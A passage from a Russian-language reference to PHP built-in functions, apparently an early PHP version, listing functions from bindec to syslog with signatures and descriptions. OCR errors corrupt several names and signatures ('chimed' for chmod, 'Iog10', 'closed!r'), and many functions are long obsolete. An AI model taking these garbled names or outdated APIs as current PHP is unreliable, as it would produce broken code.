    $decimal = bindec($binary);

    Функция возвращает десятичный эквивалент указанного двоичного числа binary.

    ceil

    $higher_integer = ceil($number);

    Округляет заданное число до следующего целого числа и возвращает результат как число с плавающей запятой.

    chdir

    chdir($directory);

    Изменяет текущий рабочий каталог на каталог, заданный аргументом.

    chgrp

    chgrp($file,Sgroupj;

    Изменяет идентификатор группы заданного файла на группу, указанную в аргументе.

    chimed

    chimed($file,$permissions);

    Функция изменяет права доступа к файлу на указанные в аргументе permissions . Этот аргумент задается в восьмеричном виде.

    chown

    chown($file, Sowner);

    Изменяет владельца заданного файла на указанного в аргументе owner. Эта функция будет работать только в том случае, если РНР выполняется от имени суперпользователя, что обычно не рекомендуется.

    chop

    $stripped_string = chop($string);

    Возвращает строку string , у которой удалены все имевшиеся концевые пробелы, табуляции и символы новой строки.

    chr

    $character = chr($number);

    Возвращает символ ASCII, соответствующий заданному числовому аргументу. Шестнадцатеричные и восьмеричные числа обозначаются как 0xff и 077 соответственно. Остальные числа считаются десятичными.


    clearstack

    clearstack();

    Очищает текущий стек. Эта функция создана специально, чтобы обойти некоторые ограничения в дизайне РНР. Если у вас есть пользовательская функция, содержащая большой цикл, вы можете столкнуться с проблемами, связанными с нехваткой стекового пространства. Если это происходит, вызовите clearstack() из этого цикла. Недостаток данного метода в том, что вашу функцию невозможно будет вызвать из другой функции. Результат функции следует сохранить в переменной, которая может быть затем использована по вашему усмотрению.

    clearstatcache

    clearstatcache();

    Очищает кэш, используемый всеми функциями, которые получают информацию о файлах. Так как доступ к такой информации занимает достаточно много времени, РНР хранит ее в кэше. Если вам необходи-ма уверенность, что используете самую свежую информацию о файле (то есть не кэшированную), вызовите функцию clearstatcache(); перед получением этой информации.

    closedir

    closed!r($directorу);

    Закрывает каталог, открытый функцией opendir.

    closelog

    closelog();

    Останавливает всю журнализацию, выполняемую функцией syslog .

    COS

    $result = cos($number);

    Возвращает косинус аргумента number.

    count

    $number = count($array);

    Возвращает число элементов в массиве array. Если переменная не является массивом, функция вернет значение 1 (так как переменная подобна массиву с только одним элементом). Если аргумент array не указан, функция вернет 0.

    crypt

    $encrypted_string = crypt($string);

    $encrypted_string = crypt($string, $salt);

    Шифрует заданную строку. Используется стандартный метод шифрования Unix - DES, тот же, что используется для шифрования паролей и т. д. Можно задать необязательный двухсимвольный аргумент salt (база для шифрования).

    date

    $formatted_date = date($format,$time);

    Вернет time (стандарное время Unix, выдаваемое функцией Time), отформатированное в указанный format. Возвращаемое значение имеет тот же вид, что и format, где все указанные ниже символы заменены на соответствующие значения:


    А АМ/РМ

    a am/pm

    D День (например Sun)

    d День (например 13)

    F Месяц (например February)

    Н Час в 24-часовом формате (например 17)

    h Час в 12-часовом формате (например 5)

    i Минуты (например 30)

    l День (например Sunday)

    М Месяц (например Feb)

    m Месяц (например 02)

    s Секунды (например 27)

    Y Год (например 1998)

    у Год (например 98)

    U Секунды с начала эпохи (отсчета) (например 803537321)

    Z День года (например 154)

    dblist

    $db_info = dblist();

    Вернет список СУБД, поддерживаемых РНР.

    decbin

    $binary = decbin($decimal);

    Возвращает двоичный эквивалент указанного десятичного числа.

    dexhex

    $hex = dechex($decimal);

    Возвращает шестнадцатеричный эквивалент указанного десятичного числа.

    decoct

    $octal = decoct($decimal);

    Возвращает восьмеричный эквивалент указанного десятичного числа.

    doubleval

    $double = doubleval($variable);

    Возвращает значение переменной в виде числа с плавающей запятой.

    echo

    echo [format_string] expression [, expression ...]

    He является настоящей функцией, скорее, это встроенная в РНР версия функции printf языка С. В самом простом варианте echo напечатает результат выражения expression . Можно указать до пяти выражений, результат каждого из которых будет напечатан по очереди. Также можно указать строку форматирования, которая должна иметь тот же вид, что и в функции printf языка С или Perl.

    end

    end($array);

    Устанавливает внутренний указатель массива array на последний элемент массива.

    ereg

    $result = ereg($expression, $string);

    $result = ereg($expression, $string, $match_array);

    Вернет true, если строка string отвечает регулярному выражению в expression . Если в качестве третьего аргумента указан массив, значение, отвечающее выражению, будет помещено в массив.

    eregi

    $result = eregi($expression, $string);

    $result = eregi($expression, Sstring, $match_array);

    Идентично ereg, за исключением того, что при сравнении игнорируется регистр.

    ereg_replace

    ereg_replace($expression, $replacement_string, $string);


    Замещает все части в указанной строке string , которые отвечают выражению expression , строкой replacement_string.

    eregi_replace

    eregi_replace($expression, $replacement_string, $string);

    Идентично ereg_replace, за исключением того, что при сравнении игнорируется регистр.

    escapeshellcmd

    $safe_string = escapeshellcmd(Sstring);

    Возвращает копию строки string, все спецсимволы которой перекодированы так, что строку можно безопасно использовать с функциями exec или system.

    eval

    eval($string);

    Обрабатывает содержимое строки string таким образом, как если бы это был скрипт РНР. Для строки выполняется подстановка переменных, поэтому, если вы хотите использовать переменную в этом "минискрипте", ее следует заэкранировать.

    exec

    $last_line = exec($command);

    $last_line = exec($command, $output_array);

    $last_line = exec($command, $output_array, $return_code);

    Выполняет в вызываемой подоболочке Unix команду command . Возвращается только последняя строка результата команды. Если вторым аргументом указан массив, все строки, выводимые командой, будут помещены в него. Если есть третий аргумент, в эту переменную записывается код возврата команды.

    exit

    exit();

    Завершение синтаксического анализа HTML-файла.

    ехр

    $result = exp($number);

    Возвращает число е, возведенное в указанную степень.

    fclose

    fclose($fd);

    Закрывает файл, открытый fopen.

    feof

    $result = feof($fd);

    Возвращает true, если файловый дескриптор fd находится в конце файла.

    fgets

    $line = fgets($fd, $max_bytes);

    Возвращает следующую строку (длиной до max_bytes ) из файла, на который указывает fd.

    fgetss

    $line = fgetss($fd, $max_bytes);

    Идентична fgets за исключением того, что эта функция пытается удалить любые теги HTML или РНР при чтении файла.

    file

    $аггау = file($filename);

    Возвращает массив, каждый элемент которого содержит строку файла, указанного в filename.

    fileatime

    $time = fileatime($filename);

    Возвращает (в стандартном формате времени Unix) время последнего доступа к файлу filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает — 1.


    filectime

    $time = filectime($filename);

    Возвращает время ( в стандартном формате времени Unix) последнего изменения статуса файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filegroup

    $group_id = filegroup($filename);

    Возвращает идентификатор группы файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileinode

    $inode = fileinode($filename);

    Возвращает индексный дескриптор файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filemtime

    $time = filemtime($filename);

    Возвращает время (в стандартном формате времени Unix) последнего изменения файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileowner

    $owner = fileowner($filename);

    Возвращает ID владельца файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileperms

    $permissions = fileperms($filename);

    Возвращает права доступа к указанному в filename файлу. Если эта информация по каким-либо причинам не может быть получена, функция возвращает —1.

    filesize

    $size = filesize($filename);

    Возвращает размер файла в байтах. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filetype

    $type = filetype($filename);

    Возвращает одно из следующих значений, указывающих на тип файла

    filename : dir, file, fifo, char, block или link.

    floor

    $lower_integer = floor($number);

    Округляет число number до ближайшего меньшего целого и возвращает результат в виде числа с плавающей запятой.

    flush

    flush();

    Сбрасывает содержимое буфера на стандартный вывод, так что конечный пользователь сразу видит все результаты.

    fopen

    $fd = fopen($filename, $mode);

    Открывает файл в режиме mode и возвращает указатель на дескриптор, связанный с открытым файлом. Как и в функции fopen языка С, режим может быть одним из следующих: "r", "r+", "w", "w+", "a", "а+". Функция возвращает -1, если файл невозможно открыть.


    fputs

    fputs($fd, $string);

    Записывает строку string в файл, связанный с дескриптором fd.

    fpassthru

    fpassthru($fd);

    Печатает все оставшиеся данные файла, на который указывает дескриптор fd.

    fseek

    fseek($fd, $position);

    Устанавливает дескриптор файла fd на позицию (смещение от начала файла), указанную в аргументе position.

    fsockopen

    $fd = fsockopen($hostname,$port);

    Открывает соединение с hostname на порте port и возвращает дескриптор файла, связанный с открытым соединением. Если номер порта равен 0, аргумент hostname будет рассматриваться как имя в стиле имени файла сокета Unix на локальном хосте. В случае ошибки функция вернет следующие значения: -3, если не удалось создать сокет; —4, если не удалось разрешить имя хоста (установить IP-адрес); —5, если в соединении было отказано или оно закончилось по тайм-ауту; -6, если потерпел неудачу вызов fdopen() и, наконец, -7, если потерпел неудачу вызов setvbuf().

    ftell

    Sposition = ftell($fd);

    Возвращает позицию указателя в файле, связанном с fd. Это значение можно использовать в качестве аргумента для fseek.

    getaccdir

    $directory = getaccdir();

    Возвращает имя каталога, где хранятся файлы конфигурации РНР.

    getenv

    $value = getenv($variable);

    Возвращает значение переменной окружения, указанной в variable .

    gethostbyname

    Saddress = gethostbyname($hostname);

    Возвращает IP-адрес указанного в hostname хоста.

    gethostbyaddr

    $hostname = gethostbyaddr($address);

    Возвращает имя хоста по указанному IP адресу.

    getimagesize

    $file_info_array = getimagesize($filename);

    Возвращает массив информации о графическом изображении в указанном filename. Первый элемент массива- ширина изображения, второй - высота, и третий - тип рисунка. В настоящее время распознаются типы GIF, JPG и PNG. Четвертым элементом является строка формата "width=xxx height=yyy", которая может непосредственно использоваться в теге HTML .

    getlastaccess

    $time = getlastaccess();

    Возвращает дату и время (в стандартном формате Unix) последнего обращения к странице. Эта функция будет работать, только если РНР был откомпилирован с опцией регистрации доступа.


    getlastbrowser

    $browser = getlastbrowser();

    Возвращает идентификационную строку броузера, использованного при последнем обращении к текущей странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastemail

    $email = getlastemail();

    Возвращает адрес электронной почты пользователя, который последним обращался к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlasthost

    $host = getlasthost();

    Возвращает имя хоста, с которого было сделано последнее обращение к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getiastmod

    $time = getlastmod();

    Возвращает время (в стандартном формате времени Unix) последнего изменения страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastref

    $url = getlastref();

    Возвращает URL узла, с которого пришел последний посетитель страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlogdir

    $directory = getlogdir();

    Возвращает каталог, в котором находятся журналы регистрации РНР.

    get my in ode

    $inode = getmyinode();

    Возвращает указатель inode HTML-файла, содержащего текущий скрипт РНР.

    getmypid

    $pid = getmypid();

    Возвращает идентификатор текущего РНР-процесса.

    getmyuid

    $id = getmyuid();

    Возвращает идентификатор пользователя владельца HTML-файла, содержащего текущий скрипт.

    getrandmax

    $number = getrandmax();

    Возвращает максимально возможное число, которое может вернуть функция rand.

    getstartlogging

    $time = getstartlogging();

    Возвращает время (в стандартном формате Unix) начала регистрации на странице HTML, которая содержит текущий скрипт.

    gettoday

    $hits = gettoday();

    Возвращает число обращений к данной странице, начиная с 0 часов текущих суток.

    gettotal

    $hits = gettotal();

    Возвращает общее число обращений к текущей странице с начала регистрации доступа к странице.


    gettype

    $type = gettype($variable);

    Возвращает одно из следующих значений: "integer", "double" или "string", указывающих на тип заданной переменной variable .

    gmdate

    $formatted_date = gmdate($format, $time);

    Идентично Date за исключением того, что для обработки значений используется время по Гринвичу (GMT) вместо местного времени.

    header

    header($header_string);

    Выводит header_string как HTTP-заголовок. Эта функция должна использоваться перед любым HTML-текстом в файле и перед любыми командами РНР, которые выдают какой-либо результат.

    hexdec

    $decimal = hexdec($hex);

    Возвращает десятичный эквивалент шестнадцатеричного аргумента hex.

    htmlspecialchars

    $html_string = htmlspecialchars($string);

    Возвращает строку string, заменяя любые специальные символы (включая <, >, &, " и все ASCII-символы с кодами от 160 до 255) на соответствующие им HTML-коды.

    imagearc

    imagearc($image, $сх, $су, $width, $height, $start, $end, $color);

    Рисует сектор эллипса в изображении image цветом, указанным в color. Центр эллипса находится в точке (сх, су), ширина указана аргументом width, высота- height, начальная и конечная точки указываются в градусах аргументами start и end соответственно.

    imagechar

    imagechar($image, $size, $x, $y, $character, $color);

    Рисует символ character в изображении image цветом, назначенным в color, с размером шрифта size. Левый верхний угол символа находится в точке (х, у).

    imagecharup

    imagecharup($image, $size, $x, $y, $character, $color);

    Функция идентична imagechar за исключением того, что символ выводится вертикально, (х, у) указывают на координаты верхнего левого угла.

    imagecolorallocate

    $color = imagecolorallocate($image, $red, $green, $blue);

    Возвращает цвет для работы с изображением image, используя указанные RGB-компоненты.

    imagecolortransparent

    imagecolortransparent($image, $color);

    Устанавливает color как прозрачный цвет для изображения image.

    imagecopyresized


    imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y, $dest_width, $dest_heigth, $src_width, $src_heigth);

    Копирует прямоугольную область из изображения src_image в изображение dest_image , изменяя размер, если это необходимо. Аргументы dest_x и dest_y являются координатами левой верхней вершины прямоугольника в принимающем изображении, a dest_height и dest_width - его высотой и шириной. Аргументы src_x, src_y,' src_width, и src_heigth являются соответствующими значениями для изображения-источника.

    imagecreate

    $image = imagecreate($width, $height);

    Возвращает идентификатор изображения, указывающий на новое изображение с заданными размерами.

    imagecreatefromgif

    $image = imagecreatefromgif($filename);

    Возвращает идентификатор изображения, указывающий на изображение в заданном файле filename .

    imagedestroy

    imagedestroy($image);

    Освобождает все ресурсы, занятые image.

    imagefill

    imagefill($image, $х, $у, $color);

    Выполняет заливку изображения image цветом color, начиная с точки (х,у).

    imagefilledpolygon

    imagefilledpolygon($image, $points_array, $num_points, $color);

    Создает многоугольник в image, заполненный цветом color. Второй аргумент является массивом вершин многоугольника. Первые два элемента - это значения х и у первой вершины. Следующие два элемента— координаты следующей вершины и т. д. Третий аргумент указывает на число вершин многоугольника.

    imagefilledrectangle

    imagefilledrectangle($image, $х1, $у1, $х2, $у2, $color);

    Создает прямоугольник в image, заполненный цветом color. Аргументы х1 и у1 образуют верхнюю левую вершину прямоугольника, а х2 и у2 — правую нижнюю.

    imagefilltoborder

    imagefilltoborder($image, $x, $y, $border, $color);

    Функция идентична imagefill за исключением того, что заливка цветом прекращается там, где встречается цвет border.

    imagegif

    imagegif($image);

    imagegif($image, $filename);

    Выводит изображение image как рисунок GIF. Если указан второй аргумент, рисунок GIF будет записан в этот файл, иначе он будет направлен прямо в броузер.


    imageinterlace

    imageinterlace($image, $interlace);

    Функция переключает бит чередования для изображения image на значение interlace , которое может быть равно 1 (включить) или 0 (выключить).

    imageline

    imageline($iraage, $х1, $у1, $х2, $у2, $color);

    Создает линию указанного в color цвета от точки (х1, у2) до точки (х2, у2) в изображении image.

    imagepolygon

    imagepolygon($image, $points, $numpoints, $color);

    Функция идентична imagef illedpolygon за исключением того, что многоугольник не заполняется.

    imagerectangle

    imagerectangle($image, $х1, $у1, $х2, $у2, $color);

    Функция идентична imagefilledrectangle за исключением того, что прямоугольник не заполняется.

    imagesetpixel

    imagesetpixel($image, $x, $y, $color);

    Рисует точку в изображении image в позиции (х, у) цветом, указанным в color.

    imagestring

    imagestring($image, $size, $x, $y, $string, $color);

    Функция идентична imagechar за исключением того, что она выводит всю строку string.

    imagestring up

    imagestringup($image, Ssize, $x, $y, $string, $color);

    Функция идентична imagecharup за исключением того, что она выводит всю строку string.

    imagesx

    $x_size = imagesx($image);

    Возвращает ширину в пикселах изображения, указанного в image.

    imagesy

    $y_size = imagesy($image);

    Возвращает высоту изображения в пикселах.

    include

    include($filename);

    Вставляет файл, указанный в filename , в текущую страницу. Выполняется полный синтаксический PHP-анализ подключаемого файла. В поисках файла filename просматривается каждый из каталогов, указанных в переменной окружения PHP_INCLUDE_ PATH.

    initsyslog

    initsyslog();

    Подготавливает систему к регистрации событий с помощью syslog. После вызова этой функции вы можете использовать syslog для записи в журнал.

    intval

    $integer = intval($variable);

    Возвращает содержимое variable в виде целого числа.

    isset

    $defined = isset($variable);

    Возвращает 1, если переменная variable определена, иначе вернет 0.

    key

    $key = key($array);


    Возвращает ключ текущего элемента массива array. Для ассоциативного массива возвращает имя ключа. Для обычного массива возвращает номер элемента.

    link

    link($target, $filename);

    Создает жесткую ссылку от filename к target.

    linkinfo

    $info = linkinfo($filename);

    Возвращает истинное значение, если ссылка, указанная в filename , существует (но не обязательно существует файл, на который указывает ссылка). В случае ошибки функция возвращает —1.

    log

    $result = log($number);

    Возвращает натуральный логарифм аргумента number.

    log10

    $result = Iog10($number);

    Возвращает логарифм по основанию 10 аргумента number.

    logas

    logas($filename);

    Регистрирует посещение текущей страницы как посещение указанного filename вместо файлового имени страницы.

    mail

    mail($to, $subject, $message);

    mail($to, $subject, $message, $headers);

    Посылает электронное письмо по адресу, указанному в параметре to, с темой, указанной в параметре subject, и поместит в тело письма значение аргумента message . Если указан четвертый аргумент, он добавляется к заголовку письма.

    max

    $maximum = max($array);

    Возвращает максимальное значение в массиве array. Если это строковый массив, функция возвращает элемент, последний по алфавиту.

    md5

    $hash = md5($string);

    Возвращает хэш (MD5) строки string .

    microtime

    $ms = microtime();

    Возвращает строку, содержащую часть текущей секунды (в виде десятичной дроби), за которой следует стандартное время Unix.

    min

    $minimum = min($array);

    Возвращает минимальное значение в массиве array. Если это строковый массив, функция вернет элемент, который был бы первым по алфавиту.

    mkdir

    mkdir($directory, $mode);

    Создает каталог directory с указанным режимом mode, mode должно быть восьмеричным значением.

    mktime

    $time = mktime($hour,$minute,$second,$month,$day, Syear);

    Возвращает время в стандартном формате времени Unix, основываясь на заданных аргументах. Если указано менее шести параметров, параметры справа считаются соответствующими текущему значению времени (например, если дано четыре параметра, используются текущий день и год).


    msql mysql

    $result = msql($database, $query);

    $result = mysql($database, $query);

    Посылает запрос query базе данных mSQL/MySQL, указанной в аргументе database. Для не SELECT-запросов функция возвращает 0 для mSQL 1.x и MySQL, а для mSQL 2.x возвращает число измененных записей. Для запроса SELECT функция возвращает идентификатор результата, который может быть использован в других функциях msql_ *. В случае ошибки функция вернет -1.

    my sql_af f ected_ro ws

    $num_rows = mysql_affected_rows();

    Возвращает число записей, измененных последней из команд INSERT, UPDATE или DELETE.

    msql_close mysql_close

    msql_close(); mysql_close();

    Закрывает подключение к серверу базы данных mSQL/MySQL.

    msql_connect mysql_connect

    msql_connect($hostname);

    mysql_connect($hostname);

    mysql_connect($hostname, Susername);

    mysql_connect($hostname, $username, Spassword);

    Создает соединение с сервером базы данных mSQL/MySQL на указанном хосте hostname. Подключение к серверу на локальном хосте осуществляется с помощью m(y)sql_connect("localhost"). Если при первом вызове m(y)sql нет подключения к базе данных, подключение к локальному хосту создается автоматически. Для MySQL может быть указан необязательный аргумент username или комбинация username/ password. Если PHP запущен в расширенном режиме безопасности (называемом SAFE MODE), username должен принадлежать либо владельцу HTML-документа, либо владельцу процесса веб-сервера.

    msql_createdb mysql_createdb

    msql_createdb($database); mysql_createdb($database);

    Создает указанную базу данных.

    msql_dbname mysql_dbname

    $db = msql_dbname($result, $i);

    $db = mysql_dbname($result, $i);

    Вернет имя базы данных, хранящееся в i-том поле результата, возвращенного функцией m(y)sql_listdbs .

    msql_dropdb mysql_dropdb

    msql_dropdb($database);

    mysql_dropdb($database);

    Удаляет базу данных database и все ее таблицы.

    msqHieldflags mysql_fieldflags

    $flags = msql_fieldflags($result, $i);

    $flags = mysql_fieldflags($result, $i);


    Возвращает флаги для в i-того поля в result. Возвращаемое значение может быть одним из следующих: "primary key", "not null", "not null primary key" или << >>.

    msql_fieldlen mysql_fieldlen

    $length = msql_fieldlen($result, $i);

    $length = mysql_fieldlen($result, $i);

    Возвращает длину i-го поля в result.

    msql_fieldname mysql_fieldname

    $name = msql_fieldname($result, $i);

    $name = mysql_fieldname($result, $i);

    Возвращает имя столбца i-го поля в result .-

    msql_fieldtype mysql_fieldtype

    $type = msql_fieldtype($result, $i);

    $type = mysql_fieldtype($result, $i);

    Возвращает тип i-го поля в result (то есть "char", "real" и т. д.).

    msql_freeresult mysql_freeresult

    msql_freeresult($result);

    mysql_freeresult($result);

    Освобождает память, связанную с результатом работы mSQL/MySQL. Вся память автоматически освобождается по завершении скрипта, поэтому используйте эту функцию, только если ваш скрипт занимает слишком много памяти.

    mysql_insertjd

    $id_num = mysql_insert_id();

    Возвращает идентификационный номер, использовавшийся при последней команде INSERT, содержавшей поле auto_increment.

    msql_listdbs mysql_listdbs

    $result = msql_listdbs();

    $result = mysql_listdbs();

    Возвращает указатель на результат, содержащий список имен всех баз данных, доступных на сервере mSQL/MySQL. Функция m(y)sql_dbname может выбирать значения из этого указателя.

    msql_listfields mysql_listfields

    $result = msql_listfields($database, $table);

    $result = mysqllistfields($database, $table);

    Вернет указатель на результат, дающий информацию о полях таблицы table в назначенной базе данных. Функции m(y)sql_fieldflags , m(y)sql_fieldlen , m(y)sql_fieldname и m(y)sql_ fieldtype могут выбирать значения из этого указателя.

    msql_isttables mysql_listtables

    $result = msql_listtables($database);

    $result = mysql_listtables($database);

    Возвращает указатель на результат, содержащий имена всех таблиц базы данных database . Функция m(y)sql_tablename может выбирать значения из этого указателя.


    msql_numfields mysql_numfields

    $num_fields = msql_numfields($result);

    $nuni_fields = mysql_numfields($result);

    Возвращает число полей в result.

    msql_nurn rows msql_numrows

    $num_rows = msql_numrows($result);

    $num_rows = mysql_numrows($result);_

    Возвращает количество записей в result.

    msql_regcase

    $new_string = msql_regcase($string);

    Возвращает копию строки string, преобразованную в регулярное выражение, необходимое для выполнения поиска не зависящих от регистра совпадений в запросе mSQL.

    msql_result mysql_result

    $result_string = msql_result($result, $i, $field);

    $result_string = mysql_result($result, $1, $field);

    Данная функция возвращает значение из указанного поля field 1-й записи набора result. Аргумент field - это имя столбца, и он может быть указан как table, field для результирующих наборов, использующих соединения таблиц. В аргумент field допускается включение любой внутренней функции MySQL, которая может обрабатывать результаты SELECT, например, mysql_result ($result, $i, "length($field)") .

    msqljtablename mysql_tablename

    $name = msql_tablename($result, $i);

    $name = mysql_tablename($result, $i);

    Вернет имя таблицы, хранящееся в i-м поле результата, возвращенного функцией m(y)sql_listtables .

    next

    next($array);

    Перемещает указатель массива array на следующий элемент и возвращает текущий.

    octdec

    $decimal = octdec($octal);

    Возвращает десятичный эквивалент восьмеричного аргумента octal.

    opendir

    opendir($directory);

    Открывает указанный каталог для использования с функцией readdir. Вы должны закрыть каталог с помощью closedir после работы с ним.

    openlog

    openlog($ident, $options, $facllity);

    Открывает для записи системный журнал. Эту функцию необходимо вызывать после initlog и до первого вызова syslog . Аргументы те же, что и при вызове системной функции Unix openlog . Значение ident предваряет каждую запись журнала и обычно является именем программы. Значение options может быть одним из следующих: LOG_CONS (выводить журнал на консоль, если произошла ошибка в стандартной процедуре); LOG_NDELAY (открыть журнал немедленно вместо ожидания первой записи журнала); LOG_PERROR (записывать также в stderr); LOG_PID (включать идентификатор процесса (PID) в каждую запись журнала). Можно комбинировать эти параметры с помощью побитового ИЛИ (например (LOG_DELAY | LOG_PERROR LOG_PID)). Facility - это один из установленных системой уровней журнализации (например, LOG_SYSLOG, LOG_USER, LOG_KERN и т. д.).


    ord

    $number = ord($character);

    Возвращает ASCII-значение символа character.

    parse_str

    parse_str($string);

    Разбирает строку URL в формате "переменная 1=значение1 &переменная2=значение2" и инициализирует переменные, присваивая им соответствующие значения. Программа РНР выполняет эту функцию автоматически для приходящих из форм данных в начале каждого скрипта.

    passthru

    passthru($command);

    passthru($command, $returevalue);

    Выполняет внешнюю команду command и выдает все результаты ее выполнения непосредственно броузеру. Если указан второй аргумент, туда помещается возвращаемое значение.

    pclose

    pclose($fd);

    Закрывает канал, открытый функцией рореп.

    phpinfo

    phpinfo();

    Печатает информационную страницу, полезную при отладке установки РНР. Это та же страница, которая печатается при добавлении "?info" к любому РНР URL, или если вы обращаетесь непосредственно к двоичным файлам РНР (то есть, http://www.myserver.com/cgi-bin/php).

    phpversion

    $version = phpversion();

    Возвращает номер версии текущего запущенного РНР.

    popen

    $fd = popen($command, $mode);

    Запускает внешнюю команду command и либо посылает ей данные (если установлен режим записи: mode = "w"), либо читает данные из команды (если в mode указать "r"). Любой файловый дескриптор, открытый таким образом, должен быть закрыт функцией pclose.

    pos

    $position = pos($array['element']);

    Возвращает число - позицию указанного элемента ' element' в ассоциативном массиве а г ray.

    pow

    $result = pow($x, $y);

    Возвращает х, возведенное в степень у.

    prev

    Selement = prev($array);

    Перемещает внутренний указатель массива а г ray на предыдущий элемент и возвращает его.

    putenv

    putenv($string);

    Помещает заданную строку string в окружение. Обратите внимание, что локальная среда окружения уничтожается по окончании выполнения скрипта, поэтому эта функция полезна только при вызове внешних программ из скрипта.

    quote met a

    $quoted_string = quotemeta($string);


    Возвращает строку string, в которой все специальные символы экранированы таким образом, что ее можно безопасно использовать в регулярных выражениях.

    rand

    $number = rand();

    Возвращает случайное число в диапазоне от 0 и до числа RANDMAX, определяемого системой. Вы должны указать начальное число генератору случайных чисел, используя srand в начале вашего скрипта. Сделать это необходимо только один раз.

    readdir

    $file = readdir();

    Возвращает следующий элемент из текущего открытого каталога и сдвигает указатель каталога. Новые обращения к этой функции будут возвращать следующие элементы каталога до тех пор, пока записи об элементах каталога не закончатся.

    readfile

    $filesize = readfile($filename);

    Выдает содержимое файла filename непосредственно броузеру и возвращает размер файла. Эту функцию можно спокойно выполнять с двоичными файлами, такими как файлы изображений.

    readlink

    $filename = readline($link);

    Возвращает путь к настоящему файлу, на который ссылается link. В случае ошибки функция вернет -1.

    reg_match

    $result = reg_match($expression, $string);

    $result = reg_match($expression, $string, $array);

    Функция идентична ereg. Она поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_replace

    reg_replace($expression, $replacement, $string);

    Идентична ereg_replace. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_search

    $partial_string = reg_search($expression, $string);

    $partial_string = reg_search($expression, $string, $array);

    Функция идентична ereg за исключением того, что она возвращает часть строки string , оставшуюся после первого совпадения. Если совпадения не обнаружено, функция возвращает пустую строку. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    rename

    rename($oldfile, $newfile);

    Переименовывает oldfile в newfile .

    reset

    reset($array);

    Перемещает внутренний указатель массива array на первый элемент и возвращает этот элемент.


    return

    return($value);

    Выходит из пользовательской функции и возвращает значение value.

    rewind

    rewind($fd);

    Устанавливает указатель файла f d в начало файла.

    rewinddir

    rewinddir();

    Передвигает указатель текущего каталога на начало каталога.

    rmdir

    rmdir($directory);

    Удаляет каталог directory , если он пуст.

    rsort

    $sorted_array = rsort($array)

    Возвращает отсортированную в порядке убывания копию ассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    setcookie

    setcookie($name);

    setcookie($name, $value, $expire, $path, $domain, $secure);

    Посылает броузеру cookie с указанными атрибутами. Если задано только имя name, cookie с таким именем будет удален из броузера. Для пропуска одного из аргументов он может быть заменен на "" (или на 0 в случае с expire и secure).

    seterrorreporting

    seterrorreporting($value);

    Если значение value равно 0, выдача сообщений об ошибках отключается, иначе все сообщения выводятся в обычном режиме.

    setlogging

    setlogging($value);

    Если значение value является ненулевым, журнализация доступа к текущей странице будет разрешена, иначе - запрещена.

    setshowinfo

    setshowinfo($value);

    Если значение value не нулевое, внизу страницы будет напечатан информационный нижний колонтитул.

    settype

    settype($variable, $type);

    Устанавливает тип переменной variable в тип type, который может быть integer, double или string .

    shl

    $value = shl($number, $b);

    Возвращает значение number, сдвинутое влево на заданное в b число бит.

    shr

    $value = shr($number, $b);

    Возвращает значение number, сдвинутое вправо на заданное в b число бит.

    sin

    $value = sin($number);

    Возвращает синус аргумента number (в радианах).

    sleep

    sleep($seconds);

    Останавливает обработку страницы на указанное количество секунд.

    sort

    $sorted_array = sort($array)

    Возвращает отсортированную в порядке возрастания копию неассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.


    soundex

    $soundex_key =soundex($string);

    Возвращает ключ soundex строки string .

    sprintf

    $string = sprintf($format, $arg, [$arg, $arg, ...]);

    Возвращает форматированную строку format, в который каждый индикатор переменной в стиле С printf заменяется соответствующим значением arg. Можно указать до 5 аргументов.

    sqrt

    $value = sqrl($number);

    Возвращает квадратный корень числа number.

    srand

    srand($integer);

    Инициализирует генератор случайных чисел целочисленным аргументом integer. Эту функцию необходимо вызвать один (и только один) раз в начале любого скрипта, в котором вы используете функцию rand.

    strchr strstr

    $substring = strchr($string, $value);

    $substring = strstr($string, $value); .

    Возвращает часть строки string после первого обнаружения символа value в строке, strchr и strstr - идентичные функции, и включены обе для полноты.

    strtr

    strtr($string, $set1, $set2);

    Все символы в строке string, которые входят в набор setl, функция преобразует в соответствующие символы в наборе set2. Если set1 длиннее set2, последний символ из set2 используется для "лишних" символов из set1. Если set2 длиннее set1, "лишние" символы из set2 игнорируются.

    stripslashes

    $plain_string = stripslashes($escaped_string);

    Удаляет все управляющие символы из строки escaped_string .

    strlen

    $length = strlen($string);

    Возвращает длину строки string .

    strrchr

    $substring = strrchr($string, $character);

    Просматривает с конца строку string в поисках указанного символа. Функция возвращает часть строки, начиная с места, где был найден искомый символ character. Если символ не обнаружен, возвращается пустая строка.

    strtok

    $substring = strtok($string, $characters);

    $substring = strtok($characters);

    Разделяет строку string на подстроки, используя в качестве разделителя любой символ, указанный в characters . После первого вызова strtok не указывайте строковый аргумент в последующих вызовах, в этом случае функция вернет каждую удачно выделенную подстроку, пока не будет достигнут конец string .


    strtolower

    $lc_string = strtolower($string);

    Возвращает string , где все символы преобразованы в символы нижнего регистра.

    strtoupper

    $uc_string = strtoupper($string);

    Возвращает string , где все символы преобразованы в символы верхнего регистра.

    strval

    $string = strval($variable);

    Возвращает переменную variable в виде строкового значения.

    substr

    $substring = substr($string, $start, Slength);

    Возвращает часть строки string , которая начинается с позиции start (0 является первым символом) и имеет длину в length символов.

    symlink

    symlink($target, $filename);

    Создает символическую связь (ссылку) от filename к target.

    syslog

    syslog($level, $message);

